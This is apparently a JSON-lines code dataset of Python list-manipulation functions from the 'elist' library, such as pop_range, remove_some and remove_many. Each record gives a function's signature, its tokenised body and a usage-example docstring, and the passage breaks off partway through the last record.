{"signature": "def some_continuous_indexesnot_slices(ol,value,*seqs):", "body": "seqs = list(seqs)<EOL>rslt = []<EOL>length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = not(ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>begin = None<EOL>slice = []<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>if(slice):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nsome_continuous_indexesnot_slices(ol,\"a\",0,2)", "id": "f1599:m100"}
{"signature": "def seqs_continuous_indexes_slices(ol,value,seqs):", "body": "rslt = []<EOL>length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = (ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>begin = None<EOL>slice = []<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>if(slice):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nseqs_continuous_indexes_slices(ol,\"a\",{0,2})", "id": "f1599:m101"}
{"signature": "def seqs_continuous_indexesnot_slices(ol,value,seqs):", "body": "rslt = []<EOL>length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = not(ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>begin = None<EOL>slice = []<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>if(slice):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nseqs_continuous_indexesnot_slices(ol,\"a\",{0,2})", "id": "f1599:m102"}
{"signature": "def all_continuous_indexes_slices(ol,value):", "body": "rslt = []<EOL>length = ol.__len__()<EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = (ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>rslt.append(slice)<EOL>begin = None<EOL>slice = []<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>if(slice):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nall_continuous_indexes_slices(ol,\"a\")", "id": "f1599:m103"}
{"signature": "def all_continuous_indexesnot_slices(ol,value):", "body": "rslt = []<EOL>length = ol.__len__()<EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = not(ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>rslt.append(slice)<EOL>begin = None<EOL>slice = []<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>if(slice):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nall_continuous_indexesnot_slices(ol,\"a\")", "id": "f1599:m104"}
{"signature": "def shift(ol,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>rslt = pop(ol,<NUM_LIT:0>,mode=mode)<EOL>return(rslt)<EOL>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,2,3,4]\nid(ol)\nrslt = shift(ol)\npobj(rslt)\nol\nid(ol)\nid(rslt['list'])\n####\nol = [1,2,3,4]\nid(ol)\nrslt = shift(ol,mode=\"original\")\nrslt\nol\nid(ol)", "id": "f1599:m105"}
{"signature": "def pop(ol,index,**kwargs):", "body": "index = uniform_index(index,ol.__len__())<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>popped = new.pop(index)<EOL>return({'<STR_LIT>':popped,'<STR_LIT:list>':new})<EOL><DEDENT>else:<EOL><INDENT>popped = ol.pop(index)<EOL>return(popped)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,2,3,4]\nid(ol)\nrslt = pop(ol,2)\npobj(rslt)\nol\nid(ol)\nid(rslt['list'])\n####\nol = [1,2,3,4]\nid(ol)\nrslt = pop(ol,2,mode=\"original\")\nrslt\nol\nid(ol)", "id": "f1599:m106"}
{"signature": "def cond_pop(ol,index,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>cond_func_args = kwargs['<STR_LIT>']<EOL>index = uniform_index(index,ol.__len__())<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>value = ol[index]<EOL>cond = cond_func(index,value,*cond_func_args)<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>if(cond):<EOL><INDENT>popped = new.pop(index)<EOL><DEDENT>else:<EOL><INDENT>popped = new<EOL><DEDENT>return({'<STR_LIT>':popped,'<STR_LIT:list>':new})<EOL><DEDENT>else:<EOL><INDENT>if(cond):<EOL><INDENT>popped = ol.pop(index)<EOL><DEDENT>else:<EOL><INDENT>popped = ol<EOL><DEDENT>return(popped)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [{'data':0;'type':'number'},{'data':'x';'type':'str'},{'data':'y';'type':'str'},4]\n#cond_func_args is a array\ndef cond_func(index,value,cond_func_args):", "id": "f1599:m107"}
{"signature": "def pop_range(ol,start_index,end_index,**kwargs):", "body": "length = ol.__len__()<EOL>start_index = uniform_index(start_index,length)<EOL>end_index = uniform_index(end_index,length)<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>cpol = copy.deepcopy(ol)<EOL>new = []<EOL>popped = []<EOL>for i in range(<NUM_LIT:0>,start_index):<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT>for i in range(start_index,end_index):<EOL><INDENT>popped.append(cpol[i])<EOL><DEDENT>for i in range(end_index,length):<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT>return({'<STR_LIT>':popped,'<STR_LIT:list>':new})<EOL><DEDENT>else:<EOL><INDENT>tmp = []<EOL>popped = []<EOL>for i in range(<NUM_LIT:0>,start_index):<EOL><INDENT>tmp.append(ol[i])<EOL><DEDENT>for i in range(start_index,end_index):<EOL><INDENT>popped.append(ol[i])<EOL><DEDENT>for i in range(end_index,length):<EOL><INDENT>tmp.append(ol[i])<EOL><DEDENT>ol.clear()<EOL>for i in range(<NUM_LIT:0>,tmp.__len__()):<EOL><INDENT>ol.append(tmp[i])<EOL><DEDENT>return(popped)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,2,3,4,5,6]\nid(ol)\nrslt = pop_range(ol,2,4)\nol\nid(ol)\nid(rslt['list'])\n####\nol = [1,2,3,4,5,6]\nid(ol)\nrslt = pop_range(ol,2,4,mode=\"original\")\nrslt\nol\nid(ol)", "id": "f1599:m108"}
{"signature": "def pop_some(ol,*indexes,**kwargs):", "body": "length = ol.__len__()<EOL>indexes = list(map(lambda index:uniform_index(index,length),list(indexes)))<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>cpol = copy.deepcopy(ol)<EOL>new = []<EOL>popped = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(i in indexes):<EOL><INDENT>popped.append(cpol[i])<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>return({'<STR_LIT>':popped,'<STR_LIT:list>':new})<EOL><DEDENT>else:<EOL><INDENT>tmp = []<EOL>popped = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(i in indexes):<EOL><INDENT>popped.append(ol[i])<EOL><DEDENT>else:<EOL><INDENT>tmp.append(ol[i])<EOL><DEDENT><DEDENT>ol.clear()<EOL>for i in range(<NUM_LIT:0>,tmp.__len__()):<EOL><INDENT>ol.append(tmp[i])<EOL><DEDENT>return(popped)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,2,3,4,5,6]\nid(ol)\nrslt = pop_some(ol,0,2,5)\nol\nid(ol)\nid(rslt['list'])\n####\nol = [1,2,3,4,5,6]\nid(ol)\nrslt = pop_some(ol,0,2,5,mode=\"original\")\nrslt\nol\nid(ol)", "id": "f1599:m109"}
{"signature": "def pop_indexes(ol,indexes,**kwargs):", "body": "length = ol.__len__()<EOL>indexes = list(map(lambda index:uniform_index(index,length),list(indexes)))<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>cpol = copy.deepcopy(ol)<EOL>new = []<EOL>popped = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(i in indexes):<EOL><INDENT>popped.append(cpol[i])<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>return({'<STR_LIT>':popped,'<STR_LIT:list>':new})<EOL><DEDENT>else:<EOL><INDENT>tmp = []<EOL>popped = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(i in indexes):<EOL><INDENT>popped.append(ol[i])<EOL><DEDENT>else:<EOL><INDENT>tmp.append(ol[i])<EOL><DEDENT><DEDENT>ol.clear()<EOL>for i in range(<NUM_LIT:0>,tmp.__len__()):<EOL><INDENT>ol.append(tmp[i])<EOL><DEDENT>return(popped)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,2,3,4,5,6]\nid(ol)\nrslt = pop_indexes(ol,{0,-3,5})\nol\nid(ol)\nid(rslt['list'])\n####\nol = [1,2,3,4,5,6]\nid(ol)\nrslt = pop_indexes(ol,{0,-3,5},mode=\"original\")\nrslt\nol\nid(ol)", "id": "f1599:m110"}
{"signature": "def remove_first(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>new.remove(value)<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.remove(value)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,'a',3,'a',5,'a']\nid(ol)\nnew = remove_first(ol,'a')\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a']\nid(ol)\nrslt = remove_first(ol,'a',mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)\n####array_remove is the same as remove_first", "id": "f1599:m112"}
{"signature": "def remove_firstnot(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(new[i] == value):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.pop(i)<EOL>return(new)<EOL><DEDENT><DEDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(ol[i] == value):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ol.pop(i)<EOL>return(ol)<EOL><DEDENT><DEDENT>return(ol)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,'a',3,'a',5,'a']\nid(ol)\nnew = remove_firstnot(ol,'a')\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a']\nid(ol)\nrslt = remove_firstnot(ol,'a',mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)\n####array_removenot is the same as remove_firstnot", "id": "f1599:m113"}
{"signature": "def remove_last(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>new.reverse()<EOL>new.remove(value)<EOL>new.reverse()<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a']\nid(ol)\nnew = remove_last(ol,'a')\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a']\nid(ol)\nrslt = remove_last(ol,'a',mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m114"}
{"signature": "def remove_lastnot(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(new[i] == value):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.pop(i)<EOL>return(new)<EOL><DEDENT><DEDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(ol[i] == value):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ol.pop(i)<EOL>return(ol)<EOL><DEDENT><DEDENT>return(ol)<EOL><DEDENT>", "docstring": "from elist.jprint import pobj\nfrom elist.elist import *\nol = [1,'a',3,'a',5,'a']\nid(ol)\nnew = remove_lastnot(ol,'a')\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a']\nid(ol)\nrslt = remove_lastnot(ol,'a',mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m115"}
{"signature": "def remove_which(ol,value,which,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>length = ol.__len__()<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>l = new <EOL><DEDENT>else:<EOL><INDENT>l = ol<EOL><DEDENT>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(ol[i]==value):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq == which):<EOL><INDENT>l.pop(i)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(l)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a']\nid(ol)\nnew = remove_which(ol,'a',1)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a']\nid(ol)\nrslt = remove_which(ol,'a',1,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m116"}
{"signature": "def remove_whichnot(ol,value,which,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>length = ol.__len__()<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>l = new <EOL><DEDENT>else:<EOL><INDENT>l = ol<EOL><DEDENT>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(not(ol[i]==value)):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq == which):<EOL><INDENT>l.pop(i)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(l)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a']\nid(ol)\nnew = remove_whichnot(ol,'a',1)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a']\nid(ol)\nrslt = remove_whichnot(ol,'a',1,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m117"}
{"signature": "def remove_some(ol,value,*seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>seqs = list(seqs)<EOL>new = []<EOL>length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(cpol[i]==value):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = remove_some(ol,'a',1,3)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = remove_some(ol,'a',1,3,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m118"}
{"signature": "def remove_somenot(ol,value,*seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>seqs = list(seqs)<EOL>new = []<EOL>length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(not(cpol[i]==value)):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = remove_somenot(ol,'a',1,3)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = remove_somenot(ol,'a',1,3,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m119"}
{"signature": "def remove_seqs(ol,value,seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>seqs = list(seqs)<EOL>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(cpol[i]==value):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = remove_seqs(ol,'a',{1,3})\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = remove_seqs(ol,'a',{1,3},mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m120"}
{"signature": "def remove_seqsnot(ol,value,seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>seqs = list(seqs)<EOL>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(not(cpol[i]==value)):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = remove_seqsnot(ol,'a',{1,3})\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = remove_seqsnot(ol,'a',{1,3},mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m121"}
{"signature": "def remove_all(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(cpol[i]==value):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = remove_all(ol,'a')\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = remove_all(ol,'a',mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m122"}
{"signature": "def remove_allnot(ol,value,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(cpol[i]==value):<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nnew = remove_allnot(ol,'a')\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'a',5,'a',6,'a']\nid(ol)\nrslt = remove_allnot(ol,'a',mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m123"}
{"signature": "def remove_many(ol,values,seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>values = copy.deepcopy(values)<EOL>seqs = copy.deepcopy(seqs)<EOL>cursors = [-<NUM_LIT:1>] * values.__len__()<EOL>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>label = True<EOL>for j in range(<NUM_LIT:0>,cursors.__len__()):<EOL><INDENT>which = seqs[j]<EOL>value = values[j]<EOL>if(cpol[i] == value):<EOL><INDENT>cursors[j] = cursors[j] + <NUM_LIT:1><EOL>if(cursors[j] == which):<EOL><INDENT>label = False<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(label):<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from 